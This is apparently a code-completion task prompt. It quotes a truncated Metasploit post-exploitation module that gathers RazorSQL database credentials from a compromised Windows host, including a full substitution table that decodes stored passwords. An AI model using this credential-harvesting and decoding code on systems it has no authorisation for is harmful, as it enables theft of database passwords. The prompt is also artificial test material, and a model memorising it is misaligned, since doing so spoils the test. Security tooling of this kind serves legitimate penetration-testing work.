You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: razorsql.rb
    path of file: ./repos/metasploit-framework/modules/post/windows/gather/credentials
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Auxiliary::Report
  include Msf::Post::Windows::UserProfiles

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather RazorSQL Credentials',
        'Description' => %q{
          This module stores username, password, type, host, port, database (and name)
          collected from profiles.txt of RazorSQL.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Paul Rascagneres <rascagneres[at]itrust.lu>',
          'sinn3r' # Reporting, file parser
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              c
    
  def decrypt(encrypted_password)
    magic_key = {
      '/' => 'a', '<' => 'b', '>' => 'c', ':' => 'd', 'X' => 'e',
      'c' => 'f', 'W' => 'g', 'd' => 'h', 'V' => 'i', 'e' => 'j',
      'f' => 'k', 'g' => 'l', 'U' => 'm', 'T' => 'n', 'S' => 'o',
      'n' => 'p', 'm' => 'q', 'l' => 'r', 'k' => 's', 'j' => 't',
      'i' => 'u', 'h' => 'v', 'P' => 'w', 'Q' => 'x', 'R' => 'y',
      'o' => 'z', 'p' => 'A', 'q' => 'B', 'r' => 'C', 't' => 'D',
      's' => 'E', 'L' => 'F', 'M' => 'H', 'O' => 'I', 'N' => 'J',
      'J' => 'K', 'v' => 'L', 'u' => 'M', 'z' => 'N', 'y' => 'O',
      'w' => 'P', 'x' => 'Q', 'G' => 'R', 'H' => 'S', 'A' => 'T',
      'B' => 'U', 'D' => 'V', 'C' => 'W', 'E' => 'X', 'F' => 'Y',
      'I' => 'Z', '?' => '1', '3' => '2', '4' => '3', '5' => '4',
      '6' => '5', '7' => '6', '8' => '7', '9' => '8', '2' => '9',
      '.' => '0', '+' => '+', '"' => '"', '*' => '*', '%' => '%',
      '&' => '&', 'Z' => '/', '(' => '(', ')' => ')', '=' => '=',
      ',' => '?', '!' => '!', '$' => '$', '-' => '-', '_' => '_',
      'b' => ':', '0' => '.', ';' => ';', '1' => ',', '\\' => '\\',
      'a' => '<', 'Y' => '>', "'" => "'", '^' => '^', '{' => '{',
      '}' => '}', '[' => '[', ']' => ']', '~' => '~', '`' => '`'
    }
    password = ''
    for letter in encrypted_password.chomp.each_char
      char = magic_key[letter]

      # If there's a nil, it indicates our decryption method does not work for this version.
      return nil if char.nil?

      password << char
    end

    password
  end